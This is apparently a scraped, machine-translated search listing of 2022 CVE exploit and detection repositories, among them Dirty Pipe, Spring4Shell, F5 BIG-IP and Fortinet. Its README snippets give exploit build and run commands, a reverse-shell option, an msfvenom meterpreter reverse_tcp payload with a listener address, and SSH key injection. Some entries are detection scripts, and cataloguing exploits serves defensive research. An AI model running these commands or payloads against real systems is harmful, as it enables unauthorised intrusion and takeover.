140271 matches found
CVE-2022-32250-LPE
CVE-2022-32250-LPE CVE-2022-32250에 대한 LPE 익스플로잇 - netfilter의 Use-After-Free 취약점입니다. 취약점에 대한 제 분석 글: Conquering a Use-After-Free in nftables: Detailed Analysis and Exploitation of CVE-2022-32250 빌드 빌드에는 libmnl과 libnftnl이 필요합니다. root@kitploit: gcc -lmnl -lnftnl exploit.c -o exploit 신뢰성 이 취약점은...
cve-2022-27666-exploits
cve-2022-27666-exploits CVE-2022-27666를 악용하는 2가지 익스플로잇 방법이 있습니다. 이 코드 베이스를 사용하는 방법에 대한 자세한 내용은 제 블로그 여기를 확인해주세요...
CVE-2022-47966_checker
CVE-2022-47966checker ManageEngine CVE-2022-47966 IOC를 탐지하기 위한 간단하고 대충 만든 PowerShell 스크립트입니다. 이 스크립트는 ME HTTP 액세스 로그에서 요청을 파싱합니다. 특징적인 SAML 요청이 발견되면 디코딩하여 공격자의 페이로드를 추출합니다. 결과는 C:\aceresponderCVE-2022-47966checker.csv에 기록됩니다. 관리자 권한으로 실행하세요. 주의사항: 인터넷에 노출된 ManageEngine 서버가 있다면 이러한 로그는 오래 지속되지 않습니...
F5-BIG-IP-RCE-CVE-2022-1388
CVE-2022-1388 F5 BIG-IP RCE 멀티스레드 감지 사용법： root@kitploit: 单个url: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx 批量多线程: python3 CVE-2022-1388.py -f url.txt 执行命令: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami 결과:...
CVE-2022-38599
このリポジトリには README がありません。...
cve-2022-29464
cve-2022-29464 cve-2022-29464 배치 스크립트 MzzdToT님의 exp를 참고하여 작성된 cve-2022-29464 배치 탐지 스크립트 python3 rce.py -f file.txt...
CVE-2022-30075
このリポジトリには README がありません。...
CVE-2022-3328
CVE-2022-3328 CVE-2022-3328 と CVE-2022-41974 および CVE-2022-41973 出典: https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt https://blog.qualys.com/vulnerabilities-threat-research/2022/11/30/race-condition-in-snap-confines-mustmkdirandopenwithperms-cve-2022-3328...
Dirty-Pipe-CVE-2022-0847
Dirty-Pipe-CVE-2022-0847 CVE-2022-0847（Dirty Pipe）は、任意の読み取り専用ファイル（例: /etc/passwd、/etc/shadow）を変更または上書きすることで権限昇格を可能にする、任意ファイル上書きの脆弱性です。 手順 1. gcc cve-2022-0847-exploit.c -o cve-2022-0847-exploit を使用してコンパイルします。 2. ./cve-2022-0847-exploit でエクスプロイトを実行します。 免責事項 私は本脆弱性の発見またはコードに対する功績を一切主張するものではありません。...
http-vuln-CVE-2022-41082
업데이트된 버전은 HTTPS 확인도 지원합니다. exchange-vuln-check.nse HTTP의 경우: nmap -p80 --script exchange-vuln-check.nse HTTPS의 경우: nmap -p443 --script exchange-vuln-check.nse 결과를 파일에 저장하려면: nmap -p80 --script exchange-vuln-check.nse -oN results.txt http-vuln-CVE-2022-41082 Microsoft Exchange Server 원격 코드 실행...
SnakeYAML-CVE-2022-1471-POC
SnakeYAML-CVE-2022-1471-POC Veracode 블로그용 코드 코드 실행을 시연하려면, 1. Maven을 사용하여 프로젝트를 빌드합니다. 2. python3 -m http.server 8080을 실행하여 HTTP 서버를 실행합니다. 3. exploit.java를 실행합니다. 서버에서 HTTP GET 요청이 관찰되어야 합니다. 4. SnakeYAML 2.0이 공격을 어떻게 방지하는지 시연하려면, pom.xml에서 1.33 의존성을 주석 처리합니다. 5. 2.0 의존성의 주석을 해제한 후 프로젝트를 다시 빌드합니...
Zimbra_CVE-2022-37042-_CVE-2022-27925
ZimbraCVE-2022-37042-CVE-2022-27925...
CVE-2022-0847
CVE-2022-0847 CVE-2022-0847 간단한 재현 공개자 원본 주소: https://dirtypipe.cm4all.com/ 재현 환경 root@kitploit: Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux 의존성 root@kitploit: gcc 사용 단계 root@kitploit: git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847...
cve-2022-3602-and-cve-2022-3786-openssl-poc
이 저장소에는 README가 없습니다...
CVE-2022-22965
CVE-2022-22965 Poc&Exp, 배치 스캔 지원 사용법 root@kitploit: -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default...
CVE-2022-24500
CVE-2022-24500 RCE 익스플로잇 Windows SMB 원격 코드 실행 취약점 취약점: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 1단계 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 2단계 root@kitploit: msf5 use...
unzip_poc
CVE-2022-0529 と CVE-2022-0530 unzip 6.0 の POC CVE-2022-0529 & CVE-2022-0530 https://bugzilla.redhat.com/showbug.cgi?id=2051402 https://bugzilla.redhat.com/showbug.cgi?id=2051395...
Sonic_CVE-2022-22274_poc
SonicCVE-2022-22274-poc https://nvd.nist.gov/vuln/detail/CVE-2022-22274...
CVE-2022-40684
CVE-2022-40684 모든 사용자 이름을 원클릭으로 열거하고 SSH 공개 키를 주입합니다 이 두 저장소의 코드를 통합하고 최적화하여 모든 사용자 이름을 원클릭으로 열거하고 SSH 공개 키를 주입하는 결과를 구현했습니다: https://github.com/carlosevieira/CVE-2022-40684/blob/main/exploit.py https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py root@kitploit: python exp.p...